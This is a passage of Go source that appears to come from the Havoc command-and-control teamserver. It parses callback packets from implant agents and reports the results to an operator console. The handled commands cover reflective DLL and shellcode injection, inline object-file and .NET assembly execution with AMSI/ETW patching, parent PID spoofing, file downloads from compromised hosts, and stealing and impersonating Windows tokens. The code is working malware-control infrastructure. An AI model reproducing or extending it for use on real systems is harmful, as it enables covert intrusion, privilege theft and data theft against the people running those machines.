CALLBACK_FILE_WRITE, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet", AgentID)) } break case CALLBACK_FILE_CLOSE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var Data = Parser.ParseBytes() if len(Data) >= 4 { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE", AgentID)) var FileID = int(binary.BigEndian.Uint32(Data[0:4])) var download = a.DownloadGet(FileID) if download != nil { var Output = make(map[string]string) Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Finished download of file: %v", download.FilePath) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output) } else { logger.Debug("download == nil") } a.DownloadClose(FileID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet", AgentID)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet", AgentID)) } break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT - UNKNOWN (%d)", AgentID, Type)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: BEACON_OUTPUT, Invalid packet", AgentID)) } case COMMAND_INJECT_DLL: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Status = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_DLL, Status: %d", AgentID, Status)) if Status == 0 { Message["Type"] = "Good" Message["Message"] = "Successful injected reflective dll" } else { String, ok := InjectErrors[Status] if ok { String = fmt.Sprintf("Status:[%v]", String) } Message["Type"] = "Error" Message["Message"] = "Failed to inject reflective dll: " + String } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_DLL, Invalid packet", AgentID)) } break case COMMAND_SPAWNDLL: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Status = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SPAWNDLL, Status: %d", AgentID, Status)) if Status == 0 { Message["Type"] = "Good" Message["Message"] = "Successful spawned reflective dll" } else { String, ok := InjectErrors[Status] if ok { String = fmt.Sprintf("Status:[%v]", String) } Message["Type"] = "Error" Message["Message"] = "Failed to spawned reflective dll: " + String } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SPAWNDLL, Invalid packet", AgentID)) } break case COMMAND_INJECT_SHELLCODE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Status = Parser.ParseInt32() Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Status: %d", AgentID, Status)) if Status == INJECT_ERROR_SUCCESS { Message["Type"] = "Good" Message["Message"] = "Successful injected shellcode" } else if Status == INJECT_ERROR_FAILED { Message["Type"] = "Error" Message["Message"] = "Failed to inject shellcode" } else if Status == INJECT_ERROR_INVALID_PARAM { Message["Type"] = "Error" Message["Message"] = "Invalid parameter specified" } else if Status == INJECT_ERROR_PROCESS_ARCH_MISMATCH { Message["Type"] = "Error" Message["Message"] = "Process architecture mismatch" } else if Status == INJECT_ERROR_FAILED { Message["Type"] = "Error" Message["Message"] = "Failed to inject shellcode" } a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Invalid packet", AgentID)) } break case COMMAND_PROC: var ( Message = make(map[string]string) SubCommand int ) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { SubCommand = Parser.ParseInt32() switch SubCommand { case DEMON_COMMAND_PROC_MODULES: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MODULES", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ModuleName string ModuleBase string ProcessID = Parser.ParseInt32() OutputBuffer bytes.Buffer tableData [][]string ) table := tablewriter.NewWriter(&OutputBuffer) table.SetHeader([]string{"Name", "Base Address"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) table.SetRowSeparator("-") table.SetColumnSeparator("│") table.SetCenterSeparator("+") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadPointer}) { var ( collum []string ) ModuleName = Parser.ParseString() ModuleBase = "0x" + strconv.FormatInt(Parser.ParsePointer(), 16) collum = []string{strings.ReplaceAll(ModuleName, " ", ""), ModuleBase} // TODO: fix this to avoid new line in the havoc console tableData = append(tableData, collum) } table.AppendBulk(tableData) table.Render() Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("List loaded modules/dll from process %v:", ProcessID) Message["Output"] = "\n" + OutputBuffer.String() } else { Message["Type"] = "Error" Message["Message"] = "Couldn't list loaded modules/dll from specified process: " } a.RequestCompleted(RequestID) break case DEMON_COMMAND_PROC_GREP: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_GREP", AgentID)) if Parser.Length() > 0 { var ( ProcName string ProcID int ParentPID int ProcUser string ProcArch int Output string ) for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32}) { ProcName = Parser.ParseUTF16String() ProcID = Parser.ParseInt32() ParentPID = Parser.ParseInt32() ProcUser = Parser.ParseUTF16String() ProcArch = Parser.ParseInt32() Output += fmt.Sprintf( "\n Process Name : %v\n Process ID : %v\n Parent PID : %v\n Process User : %v\n Process Arch : x%v\n", ProcName, ProcID, ParentPID, ProcUser, ProcArch, ) } Message["Type"] = "Info" Message["Message"] = "Found one or more processes:" Message["Output"] = Output } else { Message["Type"] = "Error" Message["Message"] = "Couldn't find specified process" } a.RequestCompleted(RequestID) break case DEMON_COMMAND_PROC_CREATE: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( Path = Parser.ParseUTF16String() PID = Parser.ParseInt32() Success = Parser.ParseInt32() Piped = Parser.ParseInt32() Verbose = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INFO - DEMON_INFO_PROC_CREATE, Path: %s, PID: %d, Success: %d, Verbose: %d, Piped: %d", AgentID, Path, PID, Success, Verbose, Piped)) if Verbose == 1 { if Success == 1 { Message["Type"] = "Info" Message["Message"] = fmt.Sprintf("Process started: Path:[%v] ProcessID:[%v]", Path, PID) } else { Message["Type"] = "Erro" Message["Message"] = fmt.Sprintf("Process could not be started: Path:[%v]", Path) } } if Success == 0 || Piped == 0 { // if we don't expect to receive output, then close the RequestID a.RequestCompleted(RequestID) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_CREATE, Invalid packet: %d", AgentID)) } // TODO: can we expect more messages from this request? //a.RequestCompleted(RequestID) break case 5: // Proc:BlockDll // TODO: is this used? if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - 5", AgentID)) var ( BlockDll = int(Parser.ParseInt32()) State = "disabled" ) if BlockDll == 1 { State = "enabled" } Message["Type"] = "Info" Message["Message"] = "Successfully " + State + " blockdll" a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - 5, Invalid packet", AgentID)) } break case DEMON_COMMAND_PROC_MEMORY: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY", AgentID)) var ( BaseAddress string RegionSize string AllocateProtec string // State string // Type string iProtect int iState int iType int _ = Parser.ParseInt32() _ = Parser.ParseInt32() OutputBuffer bytes.Buffer tableData [][]string ) table := tablewriter.NewWriter(&OutputBuffer) table.SetHeader([]string{"Base Address", "Type", "Protection", "State", "Region Size"}) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) table.SetColumnAlignment([]int{tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_CENTER, tablewriter.ALIGN_RIGHT}) table.SetRowSeparator("-") table.SetColumnSeparator("│") table.SetCenterSeparator("+") for Parser.CanIRead([]parser.ReadType{parser.ReadPointer, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( collum []string ) BaseAddress = "0x" + strconv.FormatInt(Parser.ParsePointer(), 16) RegionSize = utils.ByteCountSI(int64(Parser.ParseInt32())) iProtect = int(Parser.ParseInt32()) iState = int(Parser.ParseInt32()) iType = int(Parser.ParseInt32()) if Protection, ok := win32.Protections[iProtect]; !ok { AllocateProtec = "UNKNOWN" } else { AllocateProtec = Protection[0] } /*switch iProtect { case win32.PAGE_NOACCESS: AllocateProtec = "PAGE_NOACCESS" case win32.PAGE_READONLY: AllocateProtec = "PAGE_READONLY" case win32.PAGE_READWRITE: AllocateProtec = "PAGE_READWRITE" case win32.PAGE_WRITECOPY: AllocateProtec = "PAGE_WRITECOPY" case win32.PAGE_EXECUTE: AllocateProtec = "PAGE_EXECUTE" case win32.PAGE_EXECUTE_READ: AllocateProtec = "PAGE_EXECUTE_READ" case win32.PAGE_EXECUTE_READWRITE: AllocateProtec = "PAGE_EXECUTE_READWRITE" case win32.PAGE_EXECUTE_WRITECOPY: AllocateProtec = "PAGE_EXECUTE_WRITECOPY" case win32.PAGE_GUARD: AllocateProtec = "PAGE_GUARD" default: AllocateProtec = strconv.Itoa(iProtect) }*/ collum = []string{BaseAddress, strconv.Itoa(iType), AllocateProtec, strconv.Itoa(iState), RegionSize} tableData = append(tableData, collum) } table.AppendBulk(tableData) table.Render() if OutputBuffer.Len() > 0 { Message["Type"] = "Info" Message["Message"] = "List memory regions:" Message["Output"] = "\n" + OutputBuffer.String() } else { Message["Type"] = "Error" Message["Message"] = "Couldn't list memory regions" } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MEMORY, Invalid packet", AgentID)) } break case DEMON_COMMAND_PROC_KILL: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Success = Parser.ParseInt32() ProcessID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Success: %d, ProcessID: %d", AgentID, Success, ProcessID)) if Success == win32.TRUE { Message["Type"] = "Good" Message["Message"] = fmt.Sprintf("Successful killed process: %v", ProcessID) } else { Message["Type"] = "Error" Message["Message"] = "Failed to kill process" } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_KILL, Invalid packet", AgentID)) } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC - UNKNOWN (%d)", AgentID, SubCommand)) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC, Invalid packet", AgentID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_INLINEEXECUTE: var ( OutputMap = make(map[string]string) Type = Parser.ParseInt32() ) switch Type { case CALLBACK_OUTPUT: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT", AgentID)) OutputMap["Output"] = Parser.ParseString() teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_OUTPUT, Invalid packet", AgentID)) } break case CALLBACK_ERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR", AgentID)) OutputMap["Type"] = "Error" OutputMap["Output"] = Parser.ParseString() teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - CALLBACK_ERROR, Invalid packet", AgentID)) } break case COMMAND_INLINEEXECUTE_EXCEPTION: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt64}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION", AgentID)) var ( Exception = Parser.ParseInt32() Address = Parser.ParseInt64() ) OutputMap["Type"] = "Error" OutputMap["Message"] = fmt.Sprintf("Exception %v [%x] occurred while executing BOF at address %x", win32.StatusToString(int64(Exception)), Exception, Address) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_EXCEPTION, Invalid packet", AgentID)) } break case COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { var LibAndFunc = Parser.ParseString() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, LibAndFunc: %s", AgentID, LibAndFunc)) OutputMap["Type"] = "Error" OutputMap["Message"] = "Symbol not found: " + LibAndFunc a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND, Invalid packet", AgentID)) } break case COMMAND_INLINEEXECUTE_RAN_OK: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_RAN_OK", AgentID)) found := false for i, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // send the output back to the python module OutputMap["Worked"] = "true" OutputMap["Output"] = BofCallback.Output OutputMap["Error"] = BofCallback.Error OutputMap["TaskID"] = strings.ToUpper(fmt.Sprintf("%08x", RequestID)) teamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap) a.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...) found = true break } } if found == false { OutputMap["Type"] = "Info" OutputMap["Message"] = "BOF execution completed" teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } a.RequestCompleted(RequestID) break case COMMAND_INLINEEXECUTE_COULD_NO_RUN: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - COMMAND_INLINEEXECUTE_COULD_NO_RUN", AgentID)) found := false for i, BofCallback := range a.BofCallbacks { if BofCallback.TaskID == RequestID { // send the output back to the python module OutputMap["Worked"] = "false" OutputMap["Output"] = "" OutputMap["TaskID"] = strings.ToUpper(fmt.Sprintf("%08x", RequestID)) teamserver.PythonModuleCallback(BofCallback.ClientID, a.NameID, HAVOC_BOF_CALLBACK, OutputMap) a.BofCallbacks = append(a.BofCallbacks[:i], a.BofCallbacks[i+1:]...) found = true break } } if found == false { OutputMap["Type"] = "Error" OutputMap["Message"] = "Failed to execute object file" teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, OutputMap) } a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_INLINEEXECUTE - UNKNOWN (%d)", AgentID, Type)) } case COMMAND_ERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorID = Parser.ParseInt32() Message = make(map[string]string) ) switch ErrorID { case ERROR_WIN32_LASTERROR: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( ErrorCode = Parser.ParseInt32() ErrorString, found = Win32ErrorCodes[int(ErrorCode)] ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, ErrorCode: %d", AgentID, ErrorCode)) ErrorString += " " if !found { ErrorString = "" } Message["Type"] = "Error" Message["Message"] = fmt.Sprintf("Win32 Error: %v [%v]", ErrorString, ErrorCode) // TODO: can we expect more messages from this request? //a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_WIN32_LASTERROR, Invalid packet", AgentID)) } break case ERROR_TOKEN: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Status = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Status: %d", AgentID, Status)) switch Status { case 0x1: Message["Type"] = "Error" Message["Message"] = "No tokens inside the token vault" break } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - ERROR_TOKEN, Invalid packet", AgentID)) } default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR - UNKNOWN (%d)", AgentID, ErrorID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ERROR, Invalid packet", AgentID)) } case COMMAND_ASSEMBLY_INLINE_EXECUTE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( InfoID = Parser.ParseInt32() Message = make(map[string]string) ) switch InfoID { case DOTNET_INFO_PATCHED: Message["Type"] = "Info" Message["Message"] = "[HwBpEngine] Amsi/Etw has been hooked & patched" break case DOTNET_INFO_NET_VERSION: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION", AgentID)) Message["Type"] = "Info" Message["Message"] = "Using CLR Version: " + Parser.ParseUTF16String() } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_NET_VERSION, Invalid packet", AgentID)) } break case DOTNET_INFO_ENTRYPOINT: var ThreadID int if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { ThreadID = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, ThreadID: %d", AgentID, ThreadID)) Message = map[string]string{ "Type": "Good", "Message": fmt.Sprintf("Assembly has been executed [Thread: %d]", ThreadID), } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_ENTRYPOINT, Invalid packet", AgentID)) Message = map[string]string{ "Type": "Error", "Message": fmt.Sprintf("Callback error: DOTNET_INFO_ENTRYPOINT (0x3) expects more or at least 4 bytes but received %d bytes.", Parser.Length()), } } case DOTNET_INFO_FINISHED: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FINISHED", AgentID)) Message = map[string]string{ "Type": "Good", "Message": "Finished executing assembly.", } a.RequestCompleted(RequestID) break case DOTNET_INFO_FAILED: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - DOTNET_INFO_FAILED", AgentID)) Message = map[string]string{ "Type": "Error", "Message": "Failed to execute assembly or initialize the clr", } a.RequestCompleted(RequestID) break default: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE - UNKNOWN (%d)", AgentID, InfoID)) } teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_INLINE_EXECUTE, Invalid packet", AgentID)) } break case COMMAND_ASSEMBLY_LIST_VERSIONS: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_ASSEMBLY_LIST_VERSIONS", AgentID)) var Output string var Message = make(map[string]string) for Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { Output += fmt.Sprintf(" - %v\n", Parser.ParseUTF16String()) } Message["Type"] = typeInfo Message["Message"] = "List available assembly versions:" Message["Output"] = Output a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) break case COMMAND_PROC_PPIDSPOOF: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( Ppid = int(Parser.ParseInt32()) Message = make(map[string]string) ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Ppid: %d", AgentID, Ppid)) Message["Type"] = typeGood Message["Message"] = "Changed parent pid to spoof: " + strconv.Itoa(Ppid) a.RequestCompleted(RequestID) teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PROC_PPIDSPOOF, Invalid packet", AgentID)) } break case COMMAND_TOKEN: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var ( SubCommand = Parser.ParseInt32() Output = make(map[string]string) ) switch SubCommand { case DEMON_COMMAND_TOKEN_IMPERSONATE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( Successful = Parser.ParseInt32() User = Parser.ParseBytes() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Successful: %d, User: %s", AgentID, Successful, User)) if Successful == win32.TRUE { Output["Type"] = typeGood Output["Message"] = fmt.Sprintf("Successful impersonated %s", User) } else { Output["Type"] = typeError Output["Message"] = fmt.Sprintf("Failed to impersonat %s", User) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_IMPERSONATE, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_STEAL: if Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32}) { var ( User = Parser.ParseUTF16String() TokenID = Parser.ParseInt32() TargetPID = Parser.ParseInt32() ) // TODO: this should have a fail case logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, User: %s, TokenID: %v, TargetPID: %v", AgentID, User, TokenID, TargetPID)) Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successful stole and impersonated token from %v User:[%v] TokenID:[%v]", TargetPID, User, TokenID) a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_STEAL, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_LIST: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_LIST", AgentID)) var ( Buffer string FmtString string Array [][]any MaxString int ) for Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) { var ( TokenIndex = Parser.ParseInt32() Handle = fmt.Sprintf("0x%x", Parser.ParseInt32()) DomainAndUser = Parser.ParseUTF16String() ProcessID = Parser.ParseInt32() Type = Parser.ParseInt32() Impersonating = Parser.ParseInt32() ) Array = append(Array, []any{TokenIndex, Handle, DomainAndUser, ProcessID, Type, Impersonating}) if len(DomainAndUser) > MaxString { MaxString = len(DomainAndUser) } } FmtString = fmt.Sprintf(" %%-4v %%-6v %%-%vv %%-4v %%-14v %%-4v\n", MaxString) if len(Array) > 0 { Buffer += fmt.Sprintf(FmtString, " ID ", "Handle", "Domain\\User", "PID", "Type", "Impersonating") Buffer += fmt.Sprintf(FmtString, "----", "------", "-----------", "---", "--------------", "-------------") for _, item := range Array { if item[4] == 0x1 { item[4] = "stolen" } else if item[4] == 0x2 { item[4] = "make (local)" } else if item[4] == 0x3 { item[4] = "make (network)" } else { item[4] = "unknown" } if item[5] == win32.TRUE { item[5] = "Yes" } else { item[5] = "No" } Buffer += fmt.Sprintf(FmtString, item[0], item[1], item[2], item[3], item[4], item[5]) } } else { Buffer = "The token vault is empty" } Output["Type"] = "Info" Output["Message"] = "Token Vault:" Output["Output"] = "\n" + Buffer a.RequestCompleted(RequestID) break case DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST", AgentID)) var ( PrivList = Parser.ParseInt32() OutputBuffer bytes.Buffer TableData [][]string ) if PrivList == win32.TRUE { table := tablewriter.NewWriter(&OutputBuffer) table.SetBorder(false) table.SetHeaderAlignment(tablewriter.ALIGN_CENTER) table.SetRowSeparator(" ") table.SetColumnSeparator("::") table.SetCenterSeparator(" ") for Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32}) { var ( Column []string Privilege string StateInt int State string ) Privilege = Parser.ParseString() StateInt = Parser.ParseInt32() if StateInt == 3 { State = "Enabled" } else if StateInt == 2 { State = "Adjusted" } else if StateInt == 0 { State = "Disabled" } else { State = "Unknown" } Column = []string{Privilege, State} TableData = append(TableData, Column) } table.AppendBulk(TableData) table.Render() Output["Type"] = "Good" Output["Message"] = "List Privileges for current Token:" Output["Output"] = "\n" + OutputBuffer.String() } else { if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( Success = Parser.ParseInt32() PrivName = Parser.ParseString() ) if Success == 1 { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("The privilege %s was successfully enabled", PrivName) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to enable the %s privilege", PrivName) } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet", AgentID)) } } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_MAKE: logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_MAKE", AgentID)) if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) { Output["Type"] = "Good" Output["Message"] = fmt.Sprintf("Successfully created and impersonated token: %s", Parser.ParseUTF16String()) } else { Output["Type"] = "Error" Output["Message"] = fmt.Sprintf("Failed to create token") } a.RequestCompleted(RequestID) break case DEMON_COMMAND_TOKEN_GET_UID: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes}) { var ( Elevated = Parser.ParseInt32() User = Parser.ParseUTF16String() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Elevated: %d, User: %v", AgentID, Elevated, User)) Output["Type"] = typeGood if Elevated == 0 { Output["Message"] = fmt.Sprintf("Token User: %v", User) } else { Output["Message"] = fmt.Sprintf("Token User: %v (Admin)", User) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_GET_UID, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_REVERT: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) { var Successful = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Successful: %d", AgentID, Successful)) if Successful == win32.TRUE { Output["Type"] = typeGood Output["Message"] = "Successful reverted token to itself" } else { Output["Type"] = typeError Output["Message"] = "Failed to revert token to itself" } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REVERT, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_REMOVE: if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) { var ( Successful = Parser.ParseInt32() TokenID = Parser.ParseInt32() ) logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Successful: %d, TokenID: %v", AgentID, Successful, TokenID)) if Successful == win32.TRUE { Output["Type"] = typeGood Output["Message"] = fmt.Sprintf("Successful removed token [%v] from vault", TokenID) } else { Output["Type"] = typeError Output["Message"] = fmt.Sprintf("Failed to remove token [%v] from vault", TokenID) } a.RequestCompleted(RequestID) } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_TOKEN - DEMON_COMMAND_TOKEN_REMOVE, Invalid packet", AgentID)) } break case DEMON_COMMAND_TOKEN_FIND_TOKENS: var ( Successful int 